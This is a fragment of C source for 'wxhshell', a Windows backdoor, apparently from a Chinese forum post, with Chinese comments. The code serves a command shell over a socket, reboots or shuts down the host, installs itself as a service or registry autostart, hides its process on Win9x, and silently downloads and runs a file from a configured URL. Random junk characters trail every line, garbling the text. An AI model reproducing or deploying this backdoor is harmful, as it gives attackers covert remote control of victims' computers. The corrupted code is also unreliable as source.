    switch(cmd[0]) { {to(?`Y  
  e$_gOwB  
  // 帮助 +nHr+7}  
  case '?': { B8?9L8M}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); po\jhfn  
    break; 1L+hI=\O  
  } }h1LH4  
  // 安装 +H?g9v40  
  case 'i': { VcXr!4 M  
    if(Install()) "" >Yw/'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,A7:zxnc.V  
    else Pz[UAJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DU8\1(  
    break; GF9[|). T  
    } \!30t1EZ  
  // 卸载 ^;h\#S[%  
  case 'r': {  :\'1x  
    if(Uninstall()) 5z9hcQAS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p`rjWpH  
    else U, 7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Er|&4-9  
    break; &bfM`h'  
    } qo 7<g*kf~  
  // 显示 wxhshell 所在路径 Mpyza%zj  
  case 'p': { `?.6}*4@_A  
    char svExeFile[MAX_PATH]; yUD@oOVC0  
    strcpy(svExeFile,"\n\r"); YgjW%q   
      strcat(svExeFile,ExeFile); 7O k-T10  
        send(wsh,svExeFile,strlen(svExeFile),0); 0TA8#c  
    break; ky]^N)  
    } $[ S 33Q  
  // 重启 tmoCy0qWz  
  case 'b': { b;d7mh 4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7Hv 6>z#m  
    if(Boot(REBOOT)) 2bLc57j{`9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `7y3C\zyQ  
    else { xzOvc<u  
    closesocket(wsh); A'7Y{oPHX  
    ExitThread(0); $H.U ~  
    } {fDRVnI?  
    break; \p( 0H6  
    } BeQ'\#q,  
  // 关机 Ix,b-C~  
  case 'd': { $*$4DG1gaR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "%+||IyW  
    if(Boot(SHUTDOWN)) 4[gbRn'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ": BZZ\!  
    else { R!7--]Wcg  
    closesocket(wsh); <dE~z]P  
    ExitThread(0); 0sKo NzE  
    } [ ^\{>m7  
    break; T+~&jC:{  
    } aM1WC 'c&)  
  // 获取shell Qj1%'wWG  
  case 's': { Lg,ObVt!  
    CmdShell(wsh); 0PFC %x  
    closesocket(wsh); +PLJ  
    ExitThread(0); #K@!jh)y^  
    break; L gX2KU"  
  } 8YE4ln  
  // 退出 04=RoYMM  
  case 'x': { ^`dMjeF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *oIIcE4g7  
    CloseIt(wsh); W ^Fkjqpv  
    break; t4d/%b~{:U  
    } YGM7?o  
  // 离开 p=eSJ*  
  case 'q': { roAHkI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2B6u) 95  
    closesocket(wsh); *^7^g!=z2  
    WSACleanup(); |}e"6e%  
    exit(1); ]e5aHpgR=  
    break; ~H?v L c;>  
        } #Pz'-lo  
  } CE  
  } muF&t'k  
:jkPV%!~  
  // 提示信息 fj( WH L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ YWuWF  
} 2Hx*kh2  
  } yB *aG  
/8`9SS  
  return; @>~S$nw/  
} UHi^7jQ  
Zn. S65J*u  
// shell模块句柄 Q2]7|C  
int CmdShell(SOCKET sock) U v>^ Z2  
{ Wt!;Y,1 s  
STARTUPINFO si; o](ORS$~  
ZeroMemory(&si,sizeof(si)); !IC .0I`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H&F2[j$T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bzZdj6>kX  
PROCESS_INFORMATION ProcessInfo; @q]!C5  
char cmdline[]="cmd"; 'cQ`jWZQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oz:J.<j24Z  
  return 0; d3?gh[$  
} :mCGY9d4L  
+|+fDQI  
// 自身启动模式 >2}*L"YC  
int StartFromService(void) _f "I%QTL  
{ I 6<LKI/  
typedef struct h<?I?ZR0$  
{ "FGgem%9  
  DWORD ExitStatus; _h=h43'3  
  DWORD PebBaseAddress; s:,fXg25J  
  DWORD AffinityMask; d@cyQFX  
  DWORD BasePriority; 3)&rj 7  
  ULONG UniqueProcessId; i ^N}avO  
  ULONG InheritedFromUniqueProcessId; Ly, ];  
}   PROCESS_BASIC_INFORMATION; {O!;cI~  
r[kHVT8  
PROCNTQSIP NtQueryInformationProcess; !{uV-c-5,  
C5Fq%y{$.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1ATH$x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DX3jE p2  
2%fkXH<  
  HANDLE             hProcess; [vY)y\W{  
  PROCESS_BASIC_INFORMATION pbi; (lYC2i_b#  
l`0JL7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5y0LkuRR:  
  if(NULL == hInst ) return 0; QiRx2Z*\  
}!s$ / Kn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [ CU8%%7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1_}k)(n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ih:%U  
,<OS: ]  
  if (!NtQueryInformationProcess) return 0; Wk-. dJ  
ND 8;1+3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b_~KtMO  
  if(!hProcess) return 0; .:;q8FL/  
l`JKQk   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g8"{smP/  
*;t_V laZ  
  CloseHandle(hProcess); n1+J{EPH  
MI8c>5?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E*9W'e~=  
if(hProcess==NULL) return 0; =`gFwH<   
KHaYb5(a[  
HMODULE hMod; u8y('\(  
char procName[255]; Uf[Gs/!NV  
unsigned long cbNeeded; #?\|)y4i  
W$" >\A0%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !$o9:[B  
@ eP[*Q  
  CloseHandle(hProcess); AucX4J<  
xxdxRy9/  
if(strstr(procName,"services")) return 1; // 以服务启动 1BzU-Ma  
WPu%{/ [  
  return 0; // 注册表启动 )[t3-'  
} 1b!5h  
Y3hudjhLl  
// 主模块 ,?GAFg K:  
int StartWxhshell(LPSTR lpCmdLine) #: ,X^"w3  
{ R ta_\Aj!  
  SOCKET wsl; 9'p pb  
BOOL val=TRUE; IifH=%2Y  
  int port=0; Qm?o^%a  
  struct sockaddr_in door; } /Iw]!lK2  
&gm/@_  
  if(wscfg.ws_autoins) Install(); 1;MUemnx`  
bqR0./V  
port=atoi(lpCmdLine); y=}a55:qE  
mO\=# Q>  
if(port<=0) port=wscfg.ws_port; a>nV!b\n5  
r3Ih]|FK#  
  WSADATA data; ve=1y)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {y:+rh&  
!{oP'8Ax$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rk?G[C)2c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !P_'n  
  door.sin_family = AF_INET; <{1 3Nd'o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n] n3/wpO  
  door.sin_port = htons(port); Yg`z4 U'6~  
iJu$&u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C1~Ro9si  
closesocket(wsl); > Gxu8,_;  
return 1; FEg&EYI  
} TUd=qnu  
W}oAgUd  
  if(listen(wsl,2) == INVALID_SOCKET) { VoUAFEcs  
closesocket(wsl); C? b_E  
return 1; g\,HiKBXd  
} \3z^/F~  
  Wxhshell(wsl); Hn(L0#Oqy  
  WSACleanup(); &$NVEmW-J  
AyZBH &}RZ  
return 0; ~48mCD  
TqMy">>  
} 4dvuw{NZ  
V6 ,59  
// 以NT服务方式启动 )'?@raB!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u:4?$%rB  
{ PR1%  
DWORD   status = 0; j,JGs[A  
  DWORD   specificError = 0xfffffff; DcLx [C  
C[(Exe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `L}Irt}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N+ R/ti  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,t>/_pI+=  
  serviceStatus.dwWin32ExitCode     = 0; @AkD-}^[  
  serviceStatus.dwServiceSpecificExitCode = 0; !7[Rhk7bW  
  serviceStatus.dwCheckPoint       = 0; dCMWv~>  
  serviceStatus.dwWaitHint       = 0; ~4~>; e  
kv3jbSKCT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); axi%5:I  
  if (hServiceStatusHandle==0) return; V?Zvu9b&  
Eq/%k $6#1  
status = GetLastError(); G;pxB,4s5  
  if (status!=NO_ERROR) $X;fz)u  
{ jCbxI^3A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :j,e0#+sA  
    serviceStatus.dwCheckPoint       = 0; t%<d}QuHW  
    serviceStatus.dwWaitHint       = 0; zc-.W2"Hu  
    serviceStatus.dwWin32ExitCode     = status; J;BG/VI1  
    serviceStatus.dwServiceSpecificExitCode = specificError; e c`3Qw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :ITz\m  
    return; <)(STo  
  } xlaBOKa%  
wXsA-H/`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EGyQ hZ mO  
  serviceStatus.dwCheckPoint       = 0; # S4{,  
  serviceStatus.dwWaitHint       = 0; jW+L0RkX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mYzq[p_|j  
} _nj?au(@`Y  
fKAG+t  
// 处理NT服务事件,比如:启动、停止 Iih~rWJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~8EG0F;t  
{ C '}8  
switch(fdwControl) l2!4}zI2  
{ m/0t; cx  
case SERVICE_CONTROL_STOP: dKyX70Zy9  
  serviceStatus.dwWin32ExitCode = 0; e]{X62]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aKC3T-  
  serviceStatus.dwCheckPoint   = 0; b9([)8  
  serviceStatus.dwWaitHint     = 0; S\jN:o#b  
  { PRCr7f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {N$G|bm]u<  
  } rm4j8~Ef  
  return; Y&5h_3K;<  
case SERVICE_CONTROL_PAUSE: 8a1G0HRQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a8%/Xwr~  
  break; '?k*wEu  
case SERVICE_CONTROL_CONTINUE: '%R Yo#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _dq.hW7  
  break; *(x`cf;k  
case SERVICE_CONTROL_INTERROGATE: l+Tw#2s$  
  break; ^@`dsll  
}; HtIM8z#/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~>ACMO  
} 4>Q6!"  
c>r0 N[  
// 标准应用程序主函数 .)mw~3]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9oY%v7  
{ h7  >  
p9 |r y+t  
// 获取操作系统版本 q$s0zqV5  
OsIsNt=GetOsVer(); U:xr['  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t{K1ht$[:  
nMXSpX>!|  
  // 从命令行安装 [ua{qJ9  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]pr;ME<M{  
P$D1kcCw  
  // 下载执行文件 ?!-2G  
if(wscfg.ws_downexe) { hun/H4f|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I "9S  
  WinExec(wscfg.ws_filenam,SW_HIDE); r>`65o  
} /W/ =OPe  
jzu1>*ok  
if(!OsIsNt) { ?!~CX`eMZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 (Y!@,rKd   
HideProc(); ( _E<?  
StartWxhshell(lpCmdLine); #f~#38_  
} U w][U  
else Ohnd:8E  
  if(StartFromService()) T.aY {Y  
  // 以服务方式启动 h5ST`jZ  
  StartServiceCtrlDispatcher(DispatchTable); aBT|Q@Y.  
else \=4[v-3 H  
  // 普通方式启动 BfIGw  
  StartWxhshell(lpCmdLine); -2mm 5E~N  
QE$sXP7 &u  
return 0; y%\kgWV  
}
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只看该作者 1 发表于: 2006-10-10
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